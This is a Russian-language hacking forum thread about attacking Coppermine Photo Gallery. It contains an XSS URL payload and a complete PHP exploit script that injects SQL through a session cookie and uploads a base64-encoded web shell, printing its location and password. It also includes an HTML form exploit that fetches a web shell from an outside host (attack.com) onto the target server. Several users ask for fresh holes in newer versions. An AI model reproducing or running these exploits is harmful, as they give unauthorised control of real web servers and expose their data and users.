Warning line 165: getimagesize(albums/edit/) [function.getimagesize]: failed to open stream: No such file or directory
Прошу помочь разобратся в ошибке.
img_dir=include/config.inc.php
Слово dir тебе ни о чем не говорит?
SET pheight = ,pwidth = ,
А мануал по sql запросам читал?
Слово dir тебе ни о чем не говорит?
Говорит о том что переменая img_dir это всего лишь часть фактического пути, который создается несколькими переменными.
А насчет SET pheight = ,pwidth = , не совсем понимаю что ты имел ввиду.
И ещё одно img_dir подставляю в свою форму, но никак не могу найти то место в скрипте где она фигурировала бы.
Dr.Gonzo
14.05.2009, 23:40
Coppermine Photo Gallery 1.4.21 XSS
http://somehost/docs/showdoc.php?css=1>">XSS%3B
Dr.Gonzo
26.05.2009, 23:35
Coppermine Photo Gallery <= 1.4.22
Несколько уязвимостей, работающих только при условиях:
register_globals = On
magic_quotes_gpc = Off
В том числе SQL-инъекция при условиях возможности региться
И blind-sql при условии, что разрешена "ecard logging system" (по дефолту нет)
Уязвимости (http://www.milw0rm.org/exploits/8713)
Сплойт, использующий эти уязвимости (http://milw0rm.org/exploits/8736)
[underwater]
31.08.2009, 19:21
Открываем файл include/init.inc.php:
$HTML_SUBST = array('&' => '&', '"' => '"', '<' => '<', '>' => '>', '%26' => '&', '%22' => '"', '%3C' => '<', '%3E' => '>','%27' => ''', "'" => ''');
$keysToSkip = array('_POST', '_GET', '_COOKIE', '_REQUEST', '_SERVER', 'HTML_SUBST');
if (get_magic_quotes_gpc()) {
if (is_array($_POST)) {
foreach ($_POST as $key => $value) {
if (!is_array($value))
$_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
if (is_array($_GET)) {
foreach ($_GET as $key => $value) {
unset($_GET[$key]);
$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
if (is_array($_COOKIE)) {
foreach ($_COOKIE as $key => $value) {
if (!is_array($value))
$_COOKIE[$key] = stripslashes($value);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
if (is_array($_REQUEST)) {
foreach ($_REQUEST as $key => $value) {
if (!is_array($value))
$_REQUEST[$key] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
} else {
if (is_array($_POST)) {
foreach ($_POST as $key => $value) {
if (!is_array($value))
$_POST[$key] = strtr($value, $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
if (is_array($_GET)) {
foreach ($_GET as $key => $value) {
unset($_GET[$key]);
$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
if (is_array($_COOKIE)) {
foreach ($_COOKIE as $key => $value) {
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
if (is_array($_REQUEST)) {
foreach ($_REQUEST as $key => $value) {
if (!is_array($value))
$_REQUEST[$key] = strtr($value, $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
}
Теперь смотрим файл coppermine.inc.php:
$sessioncookie = $_COOKIE[$this->client_id];
// Create the session id by concat(session_cookie_value, client_id)
$session_id = $sessioncookie.$this->client_id;
......
// Check for valid session if session_cookie_value exists
if ($sessioncookie) {
// Check for valid session
$sql = 'select user_id from '.$this->sessionstable.' where session_id=md5("'.$session_id.'");';
Используем експлоит:
Coppermine Photo Gallery SQL注射+命令执行漏洞
漏洞影响 version < 1.4.16
欢迎访问 http://www.80sec.com
漏洞发现 jianxin#80sec.com
用法: php.exe exp.php www.80sec.com /cpg1416/
获得webshell地址在
http://www.80sec.com/cpg1416/plugins/loveshell.php
密码 shell
Good Luck :)
+------------------------------------------------------------------+
");
ini_set("max_execution_time",0);
error_reporting(7);
$blogpath="$argv[2]";
$server="$argv[1]";
$cookie='';
$evilzip="UEsDBBQAAAAIAGeTdDgKL31nOgAAADsAAAANAAAAbG92ZXNoZW xsLnBocLOxL8go4OVKLUvM0VCJD3INDHUNDolWL85IzclRj9W0 5uWyt+Pl8skvSwULKTjn56YWK3ikFqUqAgBQSwECFAAUAAAACA Bnk3Q4Ci99ZzoAAAA7AAAADQAAAAAAAAABACAAAAAAAAAAbG92 ZXNoZWxsLnBocFBLBQYAAAAAAQABADsAAABlAAAAAAA=";
$evilzip=base64_decode($evilzip);
$data=<<
-----------------------------12345671234567
Content-Disposition: form-data; name="plugin"; filename="c:\\1.zip"
Content-Type: application/x-zip-compressed
$evilzip
-----------------------------12345671234567
www_80sec_com;
$temp=send('',"index.php");
preg_match_all('/Set-Cookie: ([a-f0-9]+)=/i',$temp,$cookiepre);
$cookiepre=$cookiepre[1][0];
if($cookiepre){
echo "Make Evil Data!\t\r\n";
$cookie=$cookiepre.'='.urlencode('")union/**/select/**/1/*;');
}
echo "Make Evil Shell!\t\r\n";
send($data,"pluginmgr.php?op=upload",'multipart/form-data; boundary=---------------------------12345671234567');
$shell="http://$server".$blogpath."plugins/loveshell.php";
echo "Look at $shell :) \r\n";
echo "Or login with cookie ".urlencode('")union/**/select/**/1/*;')."\r\n";
function send($cmd,$script,$type='')
{
global $blogpath,$server,$cookie,$count,$useragent,$debug ,$evilip;
$type ? $content=$type : $content="application/x-www-form-urlencoded";
$path=$blogpath."$script";
$message = "POST ".$path." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Referer: http://".$server.$path."\r\n";
$message .= "Content-Type: $content\r\n";
$message .= "User-Agent: ".$useragent."\r\n";
$message .= "Host: ".$server."\r\n";
$message .= "Content-length: ".strlen($cmd)."\r\n";
$message .= "Connection: Keep-Alive\r\n";
$message .= "Cookie: ".$cookie."\r\n";
$message .= $evilip."\r\n";
$message .= $cmd."\r\n";
//echo $message;
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
$resp = "
";
while($fd&&!feof($fd)) {
$resp .= fread($fd,1024);
}
fclose($fd);
$resp .="
";
if($debug) {echo $cmd;echo $resp;}
//echo $resp;
return $resp;
}
?>
Coppermine Photo gallery - Remote PHP File Upload для версии 1.3.3
<html>
<form action="http://cpg133/picEditor.php?img_dir=http://attack.com/&CURRENT_PIC[filename]=/shell.php"
method=post>
<input name="save" value=1>
<input name="newimage" value="shell.txt">
<input name="HTTP_GET_VARS" value=1>
<input type=submit>
</form>
</html>
http://attack.com/shell.txt - веб шелл, будет доступен по адресу http://cpg133/albums/shell.php
нужны права администратора.
кто нибудь находил уязвимости в Coppermine Photo Gallery 1.4.23 ??
vovakozar
22.02.2010, 00:37
кто нибудь находил уязвимости в Coppermine Photo Gallery 1.4.23 ??
Мне тоже интересно...
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot